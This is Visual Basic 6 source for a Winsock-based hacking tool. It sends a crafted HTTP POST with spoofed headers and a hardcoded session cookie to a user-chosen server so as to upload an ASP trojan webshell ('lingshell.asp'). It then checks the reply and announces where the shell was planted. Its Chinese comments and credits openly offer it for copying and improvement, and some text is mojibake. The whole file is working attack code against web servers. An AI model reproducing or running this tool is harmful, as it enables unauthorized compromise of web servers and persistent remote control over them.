Private Sub Command1_Click()
Winsock1.RemotePort = Text3.Text
Winsock1.RemoteHost = Text2.Text
Winsock1.Connect
Command1.Enabled = False
Me.Timer2.Enabled = True
End Sub
Private Sub Timer2_Timer()
If InStr(Text6.Text, "lingshell.asp") Then
Me.Timer2.Enabled = False
MsgBox "上傳成功!! 木馬已經(jīng)上傳到 http://" & Text2.Text & "" & Text4.Text & " 這個(gè)位置的目錄下.WebShell文件為 lingshell.asp", , "恭喜"
Else
Me.Timer2.Enabled = False
MsgBox "上傳失敗!", , "警告"
End If
End Sub
Private Sub winsock1_Connect()
’定義提交部分包頭和數(shù)據(jù) 精華所在
Dim PostPOST
Dim PostAccept
Dim PostReferer
Dim PostAcceptLanguage
Dim PostContentType
Dim PostAcceptEncoding
Dim PostUserAgent
Dim PostHost
Dim PostContentLength
Dim PostConnection
Dim PostCacheControl
Dim PostCookie
Dim PostDATA
Dim TopPostDATA
PostPOST = "POST " & Text4.Text & " HTTP/1.1"
PostAccept = "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/msword, application/vnd.ms-powerpoint, application/x-shockwave-flash, */*"
PostReferer = "Referer: http://" & Text2.Text & "/"
PostAcceptLanguage = "Accept-Language: zh-cn"
PostContentType = "Content-Type: application/x-www-form-urlencoded"
PostAcceptEncoding = "Accept-Encoding: gzip, deflate"
PostUserAgent = "User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 9.1; linghao ; www.chinanethack.com)"
PostHost = "Host: " & Text2.Text & ""
PostContentLength = "Content-Length: 7044"
PostConnection = "Connection: Keep-Alive"
PostCacheControl = "Cache-Control: no-cache"
PostCookie = "Cookie: ASPSESSIONIDGGGGGSDQ=AMBLGJAACHFIJNEDMGGEHCHF"
PostDATA = Text1.Text
TopPostDATA = PostPOST _
& vbCrLf & PostAccept _
& vbCrLf & PostReferer _
& vbCrLf & PostAcceptLanguage _
& vbCrLf & PostContentType _
& vbCrLf & PostAcceptEncoding _
& vbCrLf & PostUserAgent _
& vbCrLf & PostHost _
& vbCrLf & PostContentLength _
& vbCrLf & PostConnection _
& vbCrLf & PostCacheControl _
& vbCrLf & PostCookie & vbCrLf _
Winsock1.SendData TopPostDATA
End Sub
Private Sub Command2_Click()
Winsock1.Close
Command1.Enabled = True
End Sub
Private Sub winsock1_DataArrival(ByVal bytesTotal As Long)
Dim HX As String
Winsock1.GetData HX
Text6.Text = HX
End Sub
Private Sub Form_Load()
MsgBox "版權(quán)www.chinanethack.com-零號(hào)所有 歡迎大家抄襲改進(jìn)!"
End Sub
’這里要使用時(shí)間控件來(lái)判斷是因?yàn)榉祷赜袀€(gè)時(shí)間間隔問(wèn)題.而且如果你提交的字節(jié)數(shù)不規(guī)范服務(wù)器有可能不響應(yīng)你.所以用時(shí)間判斷返回是比較合理的.代碼寫得不好`望見諒~ TopPostDATA = 你的木馬 使用POST


